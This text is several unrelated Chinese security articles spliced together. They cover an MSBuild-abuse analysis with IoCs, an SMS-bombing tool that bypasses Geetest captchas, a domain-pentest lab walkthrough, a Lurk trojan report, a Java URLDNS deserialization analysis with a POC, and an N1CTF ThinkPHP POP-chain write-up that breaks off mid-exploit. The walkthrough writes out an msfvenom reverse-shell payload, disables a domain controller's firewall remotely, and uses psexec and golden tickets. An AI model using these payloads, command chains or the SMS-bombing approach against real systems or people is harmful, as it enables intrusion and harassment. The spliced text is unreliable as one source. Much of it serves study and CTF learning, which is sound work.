Trinity或者Covenant。根据这些数据，我们可以得出一个结论：攻击者比较感兴趣在目标环境中找到立足点，以便进一步发起攻击行为，或者攻击者为红方成员，在进行渗透测试，以便评估目标防御团队的检测水平及功能。
## 0x05 总结
MSBuild是软件工程师用来构建.NET软件工程的必备工具，然而MSBuild工程文件中可以包含代码，因此恶意攻击者可以滥用这一功能，也有可能绕过某些Windows安全机制。
我们的研究表明，商用恶意软件通常不会使用MSBuild。我们观察到的大多数案例都会使用post-exploitation
agent变种作为最终payload，在渗透测试中，许多人会使用常用的post-exploitation
agent，这可能会给防御方带来错误的安全感。如果防御方对Meterpreter习以为常，那么当实际网络中检测到Meterpreter，即使该行为由真正的恶意攻击者所发起，也可能会被防御方忽略。
防御方应当仔细监控进程执行中的命令行参数，检查MSBuild父进程是否为web浏览器或者微软Office可执行文件。这类行为高度可疑，表明防御机制已被破坏。当设置检测基准线后，可疑的MSBuild调用行为应当很容易识别，不会增加维护团队的平均工作量。
生产环境中没有软件开发者，因此防御方应当仔细检查`MSBuild.exe`的每次调用行为，确保调用行为合法安全。
## 0x06 IoC
SHA256：
334d4bcdbd645589b3cf37895c79b3b04047020540d7464268b3be4007ad7ab1
a4eebe193e726bb8cc2ffbdf345ffde09ab61d69a131aff6dc857b0d01dd3213
6c9140003e30137b0780d76da8c2e7856ddb4606d7083936598d5be63d4c4c0d
ee34c2fccc7e605487ff8bee2a404bc9fc17b66d4349ea3f93273ef9c5d20d94
aaf43ef0765a5380036c5b337cf21d641b5836ca87b98ad0e5fb4d569977e818
ef7cc405b55f8a86469e6ae32aa59f693e1d243f1207a07912cce299b66ade38
abb93130ad3bb829c59b720dd25c05daccbaeac1f1a8f2548457624acae5ba44
ce6c00e688f9fb4a0c7568546bfd29552a68675a0f18a3d0e11768cd6e3743fd
a661f4fa36fbe341e4ec0b762cd0043247e04120208d6902aad51ea9ae92519e
18663fccb742c594f30706078c5c1c27351c44df0c7481486aaa9869d7fa95f8
35dd34457a2d8c9f60c40217dac91bea0d38e2d0d9a44f59d73fb82197aaa792
URL：
hxxp://apb[.]sh/helloworld[.]ps1
hxxp://apb[.]sh/msbuild[.]xml
hxxp://apb[.]sh/per[.]txt
hxxp://makeonlineform[.]com/f/c3ad6a62-6a0e-4582-ba5e-9ea973c85540/ | 社区文章 |
在部分进行安全渗透测试的场景下，需要对手机号进行短信轰炸操作，无奈不想在这方面增加投入，无意中看到了表单大师的部分网站提供短信验证码服务，但是每次需要进行验证，于是便有了本篇交流。
某个主页（无恶意，搜索引擎得到）
随意输入的号码，然后点击发送，出现验证码
要实现网站群发的话要具备以下几个条件
1、一定数量的发送验证码服务的网站（每个页面有一个时间限制，限制120s后再次发送，但是根据后期实践效果，不需要等待120s，但是间隔一段时间可以提高验证码的成功率）
2、webdriver+selenium实现爬虫，自动化操作
3、就是实现代码了，在github上有其他人的实现代码，但是在表单大师上表现效果不佳，所以便有了以下实现
开始实现了
首先引入库，部分变量申明
找到电话号码输入框，模拟输入电话号码
代码实现
验证码图片元素（采用区域截图方式，快速，方便，而且很准确，极验的这张图片，是无法通过元素审查直接得到下载地址，是一片一片拼成的）
代码实现
然后获取要操作的元素（就是拉动的那个球）
代码实现
在后面就是在验证码活动的过程中的轨迹计算，首先通过比较图片元素的不同，获得要到达的地点（这就是之前截图时将滑块移到最右边，确保第一次计算出来的不同就是要移动的终点，移动轨迹的算法参考了网上的实现，简单来讲就是s=v0
_t+1/2a_ t^2）
到这里，基本就已经结束了，接下来就是主程序了
其实这也可以用于采用了极验的其他场合，大家自己修改
代码上传github，欢迎大家fork，star
<https://github.com/xtom598/geeTestCode> | 社区文章 |
# 环境介绍
web：
外网ip - 192.168.10.80
内网ip - 10.10.10.80
PC：
外网ip - 192.168.10.201
内网ip - 10.10.10.201
DC：
内网ip - 10.10.10.10
web、PC、DC都处于同一域环境内，需要手动开启weblogic服务
# 外网
## 端口探测
首先nmap扫描一下端口发现了1433端口判断是sql server，另外一个特征端口就是7001端口，判断为weblogic端口
nmap -T4 -sC -sV 192.168.10.80
## weblogic getshell
这里访问一下weblogic所在的7001端口，注意这里直接访问7001端口会显示404，这里直接访问`192.168.10.80:7001/console`即可
首先尝试一下控制台弱口令`weblogic weblogic`无果
这里直接使用weblogic漏洞检测工具，也可以使用weblogic批量扫描脚本去扫描，扫描发现存在几个反序列化漏洞
这里我是用`CVE-2017-10271`进行命令执行发现为administrator权限
查看ip情况为双网卡，初步判断有域环境
`tasklist /svc`查看一下进程发现了360主动防御，那么后面的马就需要做免杀处理
这里直接使用漏扫工具中自带的jsp马先上传进行尝试
访问一下能够访问到，那么已经上传成功
使用蚁剑尝试连接失败，这里我觉得可能是有360的原因，而jsp的马在蚁剑默认是没有加密解密器的，所以应该是被360给拦了
这里我换一个冰蝎的马传上去试试
使用冰蝎连接成功
初步做一下信息搜集，发现DNS为`de1ay.com`，应该这个就是域的名称
## 上线msf
这里首先生成一个msf的马
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.10.30 lport=4444 -f exe > msf.exe
使用冰蝎上传到靶机上
执行一下，这里因为有360的原因使用msf的原生马是不能够上线的，会被360拦截
这里我后面使用了一下混淆进行了初步免杀处理，然后上线到了msf
# 内网渗透
## 扫描内网
这里首先添加一个10.10.10.0/24段的路由，方便后续操作
route add 10.10.10.0 255.255.255.0 1
route print
使用socks路由把msf带入内网，需要在proxychains.conf里面添加路由
use auxiliary/server/socks4a
run
这时候就可以使用msf中的`udp_probe`模块对10.10.10.0/24段的主机进行信息搜集，这里发现10段还有另外两台主机，10.10.10.10和10.10.10.201
这里使用常规的nmap对这两个ip进行端口扫描发现什么都没有扫出来，那么这里应该是有防火墙的原因
## ms17-010
这里使用ms17-010模块首先对内网进行扫描一下能不能够通过漏洞直接进行横向移动，注意因为有360的原因这里线程不要调的太高
use auxiliary/scanner/smb/smb_ms17_010
set rhost 10.10.10.0/24
set threads 5
run
扫描完成后发现这里两台主机都可以利用永恒之蓝，就结束了(吗？)
这里直接利用exp打一波，发现都打失败了，应该是没有开匿名管道的原因
use exploit/windows/smb/ms17_010_eternalblue
set rhosts 10.10.10.80
run
## msf派生cs会话
这里我在鼓捣半天之后使用`getuid`查看了一下当前的权限发现还只是一个user权限，也使用不了mimikatz，因为在cs上提权比较方便，这里就直接msf派生个对话给cs，在cs上进行提权操作
使用`payload-inject`把msf的对话派生给msf
use exploit/windows/local/payload_inject
set PAYLOAD windows/meterpreter/reverse_http
set DisablePayloadHandler true
set LHOST 192.168.1.5
set LPORT 5555
set SESSION 2
run
这里在cs创建一个监听host为`192.168.1.5`，port为5555接受msf的对话
查看下内网ip的信息，dns为10.10.10.10，那么10.10.10.10大概率为域控
查看一下主机信息，证实了猜想
net computers
## 权限提升
这里因为是一个user权限首先要进行提权操作，使用`systeminfo`查看补丁情况发现只打了3个补丁，那么可以提权的exp有很多
这里使用`ms14-058`直接提权到system
使用`logonpasswords`导出密码
看到这里有一个SID为500的域管的帐号，那么直接可以用psexec进行hash传递横向移动
## 横向移动
这里首先扫描一下网段下的主机
和基本判断的一致，内网下有3台主机
这里使用80主机进行psexec操作
这里psexec执行了但是没有主机上线，这里想起来psexec是需要在防火墙关闭的情况下才能够进行pth的，所以这里尝试一下先ipc连接关闭防火墙后再进行psexec横向移动
使用ipc与10.10.10.10进行连接
shell net use \\10.10.10.10\ipc$ 1qaz@WSX /user:Administrator
shell net use
使用sc创建计划任务立即执行关闭域控防火墙
sc \\10.10.10.10 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\10.10.10.10 start unablefirewall
这里关闭之后psexec还是没有成功，是因为这里DC只有内网ip，所以这里需要用到web进行中转操作才能够上线cs
这里我用到cs的smb beacon进行流量中转，首先建立监听一个smb beacon
再使用smb beacon进行psexec
即可上线DC
这里因为拿到了域管的帐号，这里也使用psexec的方式上线cs，这里当时可以使用批量pth进行上线
上线成功
# 权限维持
这里使用到黄金票据进行权限维持
> * 黄金票据
>
>
> 在Kerberos认证中,Client通过AS(身份认证服务)认证后,AS会给Client一个Logon Session Key和TGT,而Logon
> Session Key并不会保存在KDC中，krbtgt的NTLM Hash又是固定的,所以只要得到krbtgt的NTLM
> Hash，就可以伪造TGT和Logon Session
> Key来进入下一步Client与TGS的交互。而已有了金票后,就跳过AS验证,不用验证账户和密码,所以也不担心域管密码修改。
首先`hashdump`出krbtgt的hash值
查看一下SID
在web主机上生成金票
可以看到这里dir域控c盘成功 | 社区文章 |
# Lurk银行木马作者侵入Ammyy Admin站点，并种植木马后门
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<https://securelist.com/blog/research/75384/lurk-a-danger-where-you-least-expect-it/>
译文仅供参考，具体内容表达以及含义原文为准。
今年2月初，在调查恶意银行木马[Lurk](https://securelist.com/blog/research/75040/lurk-banker-trojan-exclusively-for-russia/)的过程中，我们发现：在该木马的传播过程中，存在一件有趣的怪事。
从我们掌握的数据来看，那些遭到Lurk木马攻击的用户，都被迫在自己的PC上安装了远程管理软件Ammyy Admin。
起初，我们对此现象并没有太在意，但随着调查的深入，我们发现：Ammyy
Admin官网已经遭到了黑客攻击，黑客在该网站中放置了木马后门。用户在从该网站下载Ammyy
Admin软件（该软件用于实现远程控制访问）的过程中，由于黑客将恶意木马植入了该软件，因而也会附带下载Lurrk木马程序。
原来，在Ammyy
Admin软件的官网上，存在一个不含数字签名认证的安装程序，即：NSIS（一个专业开源的制作windows安装程序的工具）安装程序。当用户运行这一安装程序时，系统中会自动生成一个临时文件夹，里面包含关于该木马的两个exe文件：
1.aa_v3.exe—它是Ammyy Admin软件的安装程序，具有数字签名功能；
2.ammyysvc.exe—它就是间谍木马Lurk的安装程序
换句话说，黑客在Ammyy Admin软件官网上种植了Lurk间谍木马程序，当用户下载安装Ammyy
Admin软件时，同时也会在自己的系统中安装这一间谍木马程式。
我们发现，黑客散布这种木马的方式，好像符合某种特定的规律，即：只在周一到周五之间，每天选取几个小时的时间来散布木马。
早在2015年11月，就有一些安全研究员指出，黑客已经在采用这种方式来传播木马，但是，研究人员的提醒，并没有引起人们的重视。
之后，这种木马的传播趋势便呈现出了愈演愈烈之势。
另外，在发表这篇文章时，我们发现，现在一些浏览器（如：火狐）已经将Ammyy
Admin官网站点（www.ammyy.com）列入到了高危站点的名单中，并会提醒用户暂时不要下载Ammyy Admin软件，以防遭到Lurk木马攻击。
为了确保能够成功地传播这一间谍木马程式，黑客们修改了Ammyy
Admin官网网页的PHP代码，加入了自动下载木马的功能，即：当有用户要从该网站下载软件时，也会附带下载加入的木马程序。
今年4月初，黑客在网络上上传了一个新的木马后门程序。当运行这一木马时，它会运行系统自带的GetComputerNameExA功能，来检查这台被感染的计算机是否连入了企业的局域网络。如果是，那么当用户在使用Ammyy
Admin软件时，该木马就会启动，对网络中的其他PC发起攻击。这也表明，黑客最终的攻击目标是网络中的各大站点以及所使用的服务器。
我们还需注意到，这种网络攻击的类型属于Watering Hole攻击（Watering Hole是一种专门针对大型网络的攻击方式），具有很强的破坏力。
如果当用户正在使用某些远程控制软件时，这种木马则会对用户构成更大的威胁。一些经常使用类似远程控制软件的系统管理员，往往会受到该软件的误导，假定一些安全软件检测到的，潜在的攻击是不会发生的，进而使系统陷入了巨大的危险之中。同时，他们还会停止对系统的保护，这样就使得木马程序能够追踪，并检查用户设置的程序白名单，进而选取其中的目标，发动攻击。
来自卡巴斯基实验室的研究人员用实验室研发的安全软件，对此类远程控制软件进行了检测，结果发现，当检测到有类似软件存在时，系统就会弹出一个黄色的对话框，提示“该软件不含病毒”。进行类似检测的目的是为了保证能在系统启动类似软件的第一时间，就给用户发出通知，告知用户该软件的安全性，因为一些利用Lurk木马实施攻击的黑客，往往在用户毫无防备的情况下，就将此类木马植入到了软件中，通过这种方式来散播木马。
在发现Ammyy Admin官网遭到攻击的第一时间，我们立即将这一情况报告了Ammyy Group公司的相关人员。之后，Ammyy
Group公司发表声明称，该网站已经被修复，恶意的“外星人”代码已经被删除，网站恢复正常使用。
早在今年2月份，在黑客大肆传播该木马时，我们就曾给Ammyy
Group公司发去了三点注意事项，提醒他们应对此给予高度关注。虽然每一次都只是暂时性地解决了问题，但至少证明，Ammyy
Group公司应对问题的态度是积极的。
6月1日，研究人员发现，黑客对Lurk进行了更新。有趣的是，就在同一天，有媒体报道，Lurk木马的作者被警方逮捕了；同时，在网络上又出现了一种新的木马：Trojan-PSW.Win32 Fareit，替代了原先的Lurk。黑客通过Trojan-PSW.Win32
Fareit这一新木马，可盗取用户的个人信息。这就意味着，攻击Ammyy
Admin官网的那些黑客，想要通过ammyy.com这一站点传播新木马，就需要攻击新的用户，盗取用户个人信息，勒索赎金，进而才能给更新木马提供资金来源。
我们已经向Ammyy Group公司汇报了这一新情况，提醒他们需对此引起重视。
卡巴斯基实验室推出的安全软件能够有效地阻止这类恶意木马的下载和安装，包括Trojan-Spy.Win32.Lurk和Trojan-PSW.Win32.Fareit。 | 社区文章 |
# Java反序列化
我们都知道一个对象只要实现了Serilizable接口，这个对象就可以被序列化，java的这种序列化模式为开发者提供了很多便利，我们可以不必关系具体序列化的过程，只要这个类实现了Serilizable接口，这个类的所有属性和方法都会自动序列化。
Java 序列化是指把 Java 对象转换为字节序列的过程
* ObjectOutputStream类的 writeObject() 方法可以实现序列化
Java 反序列化是指把字节序列恢复为 Java 对象的过程
* ObjectInputStream 类的 readObject() 方法用于反序列化。
实现java.io.Serializable接口才可被反序列化，而且所有属性必须是可序列化的
(用`transient` 关键字修饰的属性除外，不参与序列化过程)
User.java(需要序列化的类)
package Serialization;
import java.io.Serializable;
public class User implements Serializable{
private String name;
public void setName(String name){
this.name=name;
}
public String getName() {
return name;
}
}
Main.java(序列化和反序列化)
package Serialization;
import java.io.*;
public class Main {
public static void main(String[] args) throws Exception {
User user=new User();
user.setName("LearnJava");
byte[] serializeData=serialize(user);
FileOutputStream fout = new FileOutputStream("user.bin");
fout.write(serializeData);
fout.close();
User user2=(User) unserialize(serializeData);
System.out.println(user2.getName());
}
public static byte[] serialize(final Object obj) throws Exception {
ByteArrayOutputStream btout = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(btout);
objOut.writeObject(obj);
return btout.toByteArray();
}
public static Object unserialize(final byte[] serialized) throws Exception {
ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
ObjectInputStream objIn = new ObjectInputStream(btin);
return objIn.readObject();
}
}
查看user.bin文件，
00000000: aced 0005 7372 0012 5365 7269 616c 697a ....sr..Serializ
00000010: 6174 696f 6e2e 5573 6572 ade4 cb02 ab94 ation.User......
00000020: b2b9 0200 014c 0004 6e61 6d65 7400 124c .....L..namet..L
00000030: 6a61 7661 2f6c 616e 672f 5374 7269 6e67 java/lang/String
00000040: 3b78 7074 0009 4c65 6172 6e4a 6176 61 ;xpt..LearnJava
> 根据序列化规范，aced代表java序列化数据的magic
> wordSTREAM_MAGIC,0005表示版本号STREAM_VERSION,73表示是一个对象TC_OBJECT,72表示这个对象的描述TC_CLASSDESC
## readObject()方法
> 从JAVA反序列化RCE的三要素（readobject反序列化利用点 + 利用链 + RCE触发点）来说，是通过（readobject反序列化利用点 +
> DNS查询）来确认readobject反序列化利用点的存在。
实现了java.io.Serializable接口的类还可以定义如下方法(反序列化魔术方法)将会在类序列化和反序列化过程中调用：
* private void writeObject(ObjectOutputStream oos),自定义序列化
* private void readObject(ObjectInputStream ois),自定义反序列化
readObject()方法被重写的的话，反序列化该类时调用便是重写后的readObject()方法。如果该方法书写不当的话就有可能引发恶意代码的执行：
Evil.java
package EvilSerializtion;
import java.io.*;
public class Evil implements Serializable{
public String cmd;
private void readObject(java.io.ObjectInputStream stream) throws Exception{
stream.defaultReadObject();
Runtime.getRuntime().exec(cmd);
}
}
Main.java
package EvilSerializtion;
import java.io.ByteArrayOutputStream;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
public class Main {
public static void main(String[] args) throws Exception {
Evil evil = new Evil();
evil.cmd = "open /System/Applications/Calculator.app";
byte[] serializeData = serialize(evil);
unserialize(serializeData);
}
public static byte[] serialize(final Object obj) throws Exception {
ByteArrayOutputStream btout = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(btout);
objOut.writeObject(obj);
return btout.toByteArray();
}
public static Object unserialize(final byte[] serialized) throws Exception {
ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
ObjectInputStream objIn = new ObjectInputStream(btin);
return objIn.readObject();
}
}
# URLDNS
`URLDNS` 是ysoserial中利用链的一个名字，通常用于检测是否存在Java反序列化漏洞。该利用链具有如下特点：
* 不限制jdk版本，使用Java内置类，对第三方依赖没有要求
* 目标无回显，可以通过DNS请求来验证是否存在反序列化漏洞
* URLDNS利用链，只能发起DNS请求，并不能进行其他利用
ysoserial中列出的Gadget:
* Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
原理：
`java.util.HashMap` 重写了 `readObject`, 在反序列化时会调用 `hash` 函数计算 key 的 hashCode.而
`java.net.URL` 的 hashCode 在计算时会调用 `getHostAddress` 来解析域名, 从而发出 DNS 请求.
HashMap#readObject:
private void readObject(java.io.ObjectInputStream s) // 读取传入的输入流，对传入的序列化数据进行反序列化
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // (if zero, use defaults)
// Size the table using given load factor only if within
// range of 0.25...4.0
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);
// Check Map.Entry[].class since it's the nearest public type to
// what we're actually creating.
SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
关注`putVal`方法，`putVal`是往HashMap中放入键值对的方法，这里调用了`hash`方法来处理key，跟进`hash`方法：
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
这里又调用了`key.hashcode`方法，而key此时是我们传入的 `java.net.URL` 对象，那么跟进到这个类的hashCode()方法看下
URL#hashCode
public synchronized int hashCode() { // synchronized 关键字修饰的方法为同步方法。当synchronized方法执行完或发生异常时，会自动释放锁。
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
当hashCode字段等于-1时会进行`handler.hashCode(this)`计算，跟进handler发现，定义是
transient URLStreamHandler handler; // transient 关键字，修饰Java序列化对象时，不需要序列化的属性
那么跟进`java.net.URLStreamHandler#hashCode()`
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
if (addr != null) {
h += addr.hashCode();
} else {
String host = u.getHost();
if (host != null)
h += host.toLowerCase().hashCode();
}
// Generate the file part.
String file = u.getFile();
if (file != null)
h += file.hashCode();
// Generate the port part.
if (u.getPort() == -1)
h += getDefaultPort();
else
h += u.getPort();
// Generate the ref part.
String ref = u.getRef();
if (ref != null)
h += ref.hashCode();
return h;
}
u 是我们传入的url，在调用`getHostAddress`方法时，会进行dns查询。
这是正面分析的流程。
回到开始的Hashmap#readObject
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
key 是从`K key = (K) s.readObject();`
这段代码，也是就是readObject中得到的，说明之前在writeObject会写入key
Hashmap#writeObject
private void writeObject(java.io.ObjectOutputStream s)
throws IOException {
int buckets = capacity();
// Write out the threshold, loadfactor, and any hidden stuff
s.defaultWriteObject();
s.writeInt(buckets);
s.writeInt(size);
internalWriteEntries(s);
}
最后调用了`internalWriteEntries` 方法，跟进一下具体实现：
// Called only from writeObject, to ensure compatible ordering.
void internalWriteEntries(java.io.ObjectOutputStream s) throws IOException {
Node<K,V>[] tab;
if (size > 0 && (tab = table) != null) {
for (int i = 0; i < tab.length; ++i) {
for (Node<K,V> e = tab[i]; e != null; e = e.next) {
s.writeObject(e.key);
s.writeObject(e.value);
}
}
}
}
这里的key以及value是从tab中取的，而tab的值即HashMap中table的值。
想要修改table的值，就需要调用HashMap#put方法，而HashMap#put方法中也会对key调用一次hash方法，所以在这里就会产生第一次dns查询：
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
为了避免这一次的dns查询（防止本机与目标机器发送的dns请求混淆），ysoserial 中使用`SilentURLStreamHandler`
方法，直接返回null，并不会像`URLStreamHandler`那样去调用一系列方法最终到`getByName`，因此也就不会触发dns查询了
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
除了这种方法还可以在本地生成payload时，将hashCode设置不为`-1`的其他值。
URL#hashCode
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
如果不为`-1`，那么直接返回了。也就不会进行`handler.hashCode(this);`这一步计算hashcode，也就没有之后的`getByName`，获取dns查询
/**
* The URLStreamHandler for this URL.
*/
transient URLStreamHandler handler;
/* Our hash code.
* @serial
*/
private int hashCode = -1;
而hashCode是通过`private`关键字进行修饰的（本类中可使用），可以通过反射来修改hashCode的值
package demo;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.net.URL;
public class Main {
public static void main(String[] args) throws Exception {
HashMap map = new HashMap();
URL url = new URL("http://7gjq24.dnslog.cn");
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode"); // 反射获取URL类中的hashCode
f.setAccessible(true); // 绕过Java语言权限控制检查的权限
f.set(url,123);
System.out.println(url.hashCode());
map.put(url,123); // 调用HashMap对象中的put方法，此时因为hashcode不为-1，不再触发dns查询
}
}
完整的POC：
package demo;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.net.URL;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
public class Main {
public static void main(String[] args) throws Exception {
HashMap map = new HashMap();
URL url = new URL("http://7gjq24.dnslog.cn");
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true); // 绕过Java语言权限控制检查的权限
f.set(url,123); // 设置hashcode的值为-1的其他任何数字
System.out.println(url.hashCode());
map.put(url,123); // 调用HashMap对象中的put方法，此时因为hashcode不为-1，不再触发dns查询
f.set(url,-1); // 将hashcode重新设置为-1，确保在反序列化成功触发
try {
FileOutputStream fileOutputStream = new FileOutputStream("./urldns.ser");
ObjectOutputStream outputStream = new ObjectOutputStream(fileOutputStream);
outputStream.writeObject(map);
outputStream.close();
fileOutputStream.close();
FileInputStream fileInputStream = new FileInputStream("./urldns.ser");
ObjectInputStream inputStream = new ObjectInputStream(fileInputStream);
inputStream.readObject();
inputStream.close();
fileInputStream.close();
}
catch (Exception e){
e.printStackTrace();
}
}
}
再来调试下 ysoserial中的 URLDNS 模块，设置debug参数：
`URLDNS "http://7mczz6.dnslog.cn"`
直接debug报错：
改一下Project 和 Moudles中的 `Project language level`
，其实就是所有都设置成一样的，包括pom.xml,实在不行，重新 `git pull` 重新导入idea 也能解决
下断点进行单步调试，最后看这里
方法之间的调用也很清楚的展示了出来。
借用一位师傅总结的 gadgets来结束全文：
JDK1.8下的调用路线：
1. HashMap->readObject()
2. HashMap->hash()
3. URL->hashCode()
4. URLStreamHandler->hashCode()
5. URLStreamHandler->getHostAddress()
6. InetAddress->getByName()
而在jdk1.7u80环境下调用路线会有一处不同，但是大同小异：
1. HashMap->readObject()
2. **HashMap- >putForCreate()**
3. HashMap->hash()
4. URL->hashCode()
5. 之后相同
# 参考资料
感谢：
<https://wx.zsxq.com/dweb2/index/topic_detail/244415545824541>
<https://www.t00ls.net/articles-50486.html>
<https://wx.zsxq.com/dweb2/index/topic_detail/548242484442524>
<https://xz.aliyun.com/t/6787>
<https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java>
<https://www.liaoxuefeng.com/wiki/1252599548343744/1255945147512512>
<https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/>
<https://paper.seebug.org/1242/#urldns>
<https://www.yuque.com/tianxiadamutou/zcfd4v/fewu54>
<https://www.anquanke.com/post/id/201762>
<https://crossoverjie.top/2018/01/14/Synchronize/> | 社区文章 |
### 前言
题目源码<https://github.com/Nu1LCTF/n1ctf-2019>
准备了好久的N1CTF终于结束了，师傅们都在很用心的出题和运维，然而还是出了不少事故，希望大佬们体谅一下orz!
膜@wonderkun师傅的非预期链（感觉大佬们都不想做我这道题，可能出的太烂了。）
这道题出题思路来自于[TSec 2019 议题 PPT：Comprehensive analysis of the mysql client attack
chain](https://paper.seebug.org/998/)，但是核心还是tp5.2反序列化POP链挖掘(预期可以通杀5.1.x和5.2.x)。
### 正则回溯
这个点p牛在`codebreaking`已经出过题了，没想到还是难到了一大堆人。具体可以看p牛的文章
<https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html>
题目的正则
if(preg_match('/sleep|BENCHMARK|processlist|GET_LOCK|information_schema|into.+?outfile|into.+?dumpfile|\/\*.*\*\//is', $query)) {
die('Go out!!!');
}
使用`select xx into/*1000000个a*/dumpfile;`即可绕过。
### Mysql Phar反序列化
很早之前@zsx师傅在文章[Phar与Stream Wrapper造成PHP
RCE的深入挖掘](https://xz.aliyun.com/t/2958)中提到了本地mysql `LOAD DATA LOCAL
INFILE`可以触发phar反序列化。
这里提到了本地受限于这两个配置
[mysqld]
local-infile=1
secure_file_priv=""
但其实还受限于`open_basedir`
这其实也就是用`Rogue Mysql Server`只能读到`/tmp/`目录下文件的原因。
另外mysql用户还需要拥有`insert`权限，否则会执行报错，因此在题目中直接直接执行`LOAD DATA LOCAL
INFILE`去触发phar反序列化是不行的。
@LoRexxar'师傅在今年的Tsec上分享的议题<https://paper.seebug.org/998/>中提到了mysql客户端任意文件读取可以配合上面的trick来进行phar反序列化。因为其原理就是当`Mysql
Client`向`Rogue Mysql Server`发送任意查询语句时，`Rogue Mysql
Server`可以回复一个包含想要读取文件名的`file-transfer`请求，让`Mysql Client`执行`LOAD DATA LOCAL
INFILE`语句把文件读取出来并发送给`Rogue Mysql
Server`。此时我们把文件名格式改为`phar://filename`，让其执行`LOAD DATA LOCAL
INFILE`语句即可触发phar反序列化。
ps:其实@zedd师傅在SUCTF出的题目`Upload Labs
2`中的预期解就是这个，他也发了文章<https://xz.aliyun.com/t/6057#toc-6>，当时我还想着跟我出的题撞了，没想到还是有很多人不知道,orz。
### TP5.1.x-5.2.x反序列化POP链分析
因为`Laravel`的反序列化链实在太多了，而thinkphp的基本没有人提到过，只有前段时间的一篇文章[挖掘暗藏ThinkPHP中的反序列利用链](https://blog.riskivy.com/挖掘暗藏thinkphp中的反序列利用链/?from=timeline&isappinstalled=0)，所以我就尝试挖了一下tp5.1的。
原本想的是挖一条全新的链，但是仔细看了下发现入口点只能找到文章中提到的那个地方，所以就想着利用这个入口再挖一条，最后挖到了一条可以通杀tp5.1.x-5.2.x的，因为tp5.1的文章中已经公开了思路，所以这里就拿tp5.2出了题。
首先是入口点
`think\process\pipes\windows`
`file_exists`可以触发`__toString`方法
全局搜索`__toString`方法，跟进`think\model\concern\Conversion`
查看其`toJson`方法,继续跟进`toArray`方法。
在这里文章用`$relation->visible($name);`来触发`Request`类的`__call`方法，但是tp5.2中这个方法被删掉了。
我们来看一下`getAttr`方法
跟进`getValue`，漏洞点在这里。
我们依次回溯下`$closure，$value，$this->data`
`$closure = $this->withAttr[$fieldName];`，`$this->withAttr`我们可控，看下`$fieldName
= $this->getRealFieldName($name);`
跟进`getRealFieldName`
`$strict`默认为true，所以传入的字符串会原样返回。
传入的是`$name`，也是`getAttr`的参数`$key`，也是`$data`的键名。`$data`是`$this->data,
$this->relation`合并的结果，因此`$closure`我们可控。
再来看`$value`，跟进`getData`方法。
如果`$this->data`存在`$fieldName`键名，则返回对应的键值，根据上面的分析我们刚好可以进入这个if中，而`$value`的返回值就是`$closure`对应的键值，因此`$value`我们也可控。
回头看一下漏洞点，`$closure,$value`我们都可控，而`$this->data`是一个我们用来控制`$closure,$value`返回值的数组。
此时我们可以怎么利用呢？
Example:
其他的利用函数我并没有仔细去找，有兴趣的师傅可以找找看。
exp:
这个exp是我对着tp5.1的源码构造的可能和5.2有点不太一样，但是可以直接用。
<?php
namespace think\process\pipes {
class Windows
{
private $files;
public function __construct($files)
{
$this->files = array($files);
}
}
}
namespace think\model\concern {
trait Conversion
{
protected $append = array("Smi1e" => "1");
}
trait Attribute
{
private $data;
private $withAttr = array("Smi1e" => "system");
public function get($system)
{
